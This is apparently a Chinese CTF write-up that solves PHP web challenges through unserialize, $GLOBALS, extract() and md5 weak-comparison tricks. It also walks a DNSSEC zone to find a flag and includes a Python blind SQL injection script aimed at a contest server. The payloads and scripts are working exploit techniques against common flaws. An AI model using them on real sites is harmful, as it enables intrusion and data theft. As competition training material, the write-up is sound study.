0x00 感言
这次比赛有很大的遗憾,dns那道题是我在比赛技术12分钟后做出了flag,如果做出来了,队伍就可以进前十了,果然还是太菜了,被大佬们虐的好难受,下面给出我做的部分writeup。。有些题队友做了就没看。。大部分都是web和一道misc
0x01 PHP是最好的语言
这道题打开网址发现什么也没有,扫一下后台发现存在备份文件index.php.bak
<?php
$v1=0;$v2=0;$v3=0;
$a=(array)unserialize(@$_GET['foo']);
if(is_array($a)){
is_numeric(@$a["param1"])?exit:NULL;
if(@$a["param1"]){
($a["param1"]>2017)?$v1=1:NULL;
}
if(is_array(@$a["param2"])){
if(count($a["param2"])!==5 OR !is_array($a["param2"][0])) exit;
$pos = array_search("nudt", $a["param2"]);
$pos===false?die("nope"):NULL;
foreach($a["param2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
}
$c=@$_GET['egg'];
$d=@$_GET['fish'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("M|n|s",$d.$c[0])?err():NULL;
strpos(($c[0].$d), "MyAns")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
include "flag.php";
echo $flag;
}
?>
这种题做过很多次了,具体就是这个
param1=2018a
param2=[[0],0,0,0,0]
cat[1][]=1&dog=%00MyAns
这道题开头foo参数是通过反序列化得到的,就发param1和param2序列化一下,最终的结果是
?foo=a:2:{s:6:"param1";s:5:"2018a";s:6:"param2";a:5:{i:0;a:1:{i:0;i:0;}i:1;i:0;i:2;i:0;i:3;i:0;i:4;i:0;}}&egg[1][]=1&fish=%00MyAns
得到flag
0x02 PHP代码审计
打开网址,直接给了php代码
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
这道题考察的是全局变量,别问我怎么知道的,做过。。。
构造url
?args=GLOBALS
就得到flag了
0x03 php trick
这道题打开网址说找flag,右键查看源代码发现如下
找flag
<!--
index.php
<?php
$flag='xxx';
extract($_GET);
if(isset($gift)){
$content=trim(file_get_contents($flag));
if($gift==$content){
echo'flag'; }
else{
echo'flag被加密了 再加密一次就得到flag了';}
}
?>
-->
这道题里有一个extract()函数,从而GET参数可以进行覆盖。我们通过变量覆盖,将下面gift和content两个变量弄成相等,就可以得到flag了
?gift=&flag=
得到RVF{woshiflag},但是答案并不对,想了下格式,推测可能是凯撒加密吧,凯撒解密得到flag
0x04 不是管理员也能login
打开后发现是一个登陆界面
在说明与帮助的位置得到提示
关于说明,我知道的就是这么多了
$test=$_GET['userid']; $test=md5($test);
if($test != '0'){
$this->error('用户名有误,请阅读说明与帮助!');
}
userid是登陆界面中用户名的字段参数,if判断是一个弱比较,因此我们可以找一个md5值是0e开头的就可以绕过了。
后来在右键源代码的地方发现了第二处提示
<!--
$pwd =$this->_post("password");
$data_u = unserialize($pwd);
if($data_u['name'] == 'XX' && $data_u['pwd']=='XX')
{
print_r($flag);
}
-->
这里要求传入的密码字段是一个数组,然后数组的name项为XX,pwd项也等于XX,并且这个数组需要进行序列化,最终payload如下
用户名:QNKCDZO
密码:a:2:{s:4:"name";i:0;s:3:"pwd";i:0;}
点击提交后得到flag
0x05 DNS 101
这道题题目是
what.is.my.flag.src.edu-info.edu.cn TXT
这道题题目是DNS,又给了TXT,因此用dig工具,利用-t选项查询TXT
dig -t TXT what.is.my.flag.src.edu-info.edu.cn
可以看到有个
flag-id-[...].flag.src.edu-info.edu.cn. TXT
这里中括号里有个需要我们填写的东西,估计正确填写后就会出flag了,那么就得想如何得到这里面的东西
其实整到这里就没啥思路了,毕竟以前没搞过dns,不过后来队里的学长说可以用dnssec弄,试了一下
dig what.is.my.flag.src.edu-info.edu.cn +dnssec @4.2.2.4
发现在NSEC那一栏中出现了n.flag.src.edu-info.edu.cn比较可疑,就又查了一下这个网址
dig n.flag.src.edu-info.edu.cn +dnssec @4.2.2.4
发现网址的n变成了z,后来又继续试了试i,发现每一次都会变化,那么就想会不会是通过dns递归查询,一级一级的查,知道查到那个id值呢?后来队友试了很多次都没试出来,我就感觉需要写脚本,于是写了脚本:
import os
url="zzzzz.flag.src.edu-info.edu.cn"
while(1):
cmd="dig "+url+" +dnssec @4.2.2.4|grep NSEC"
url = os.popen(cmd).readlines()[0].split()[4][:-1]
print url
最后跑出来了
然后将这个网址用-t TXT查询一下,得到flag
dig -t TXT flag-id-ztfrneclyudrfq3e6endq5.zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz.zzzzzzz.flag.src.edu-info.edu.cn
0x06 Login
这道题是一个注入题,盲注,有点像之前的问鼎杯那道题
直接上脚本
import requests,string
url = "http://202.112.26.124:8080/fb69d7b4467e33c71b0153e62f7e2bf0/index.php"
flag = ""
res_true = requests.post(url, data={'uname': "'^1^'", 'pwd':23}).content
for index in range(1, 31):
for s in string.printable:
data = {'uname': "'^(right(pwd,{index})='{flag}')^'".format(index=index, flag=s+flag), 'pwd':23}
ret = requests.post(url, data=data).content
if res_true == ret:
flag = s+flag
print flag
break
跑出密码,登陆后得到flag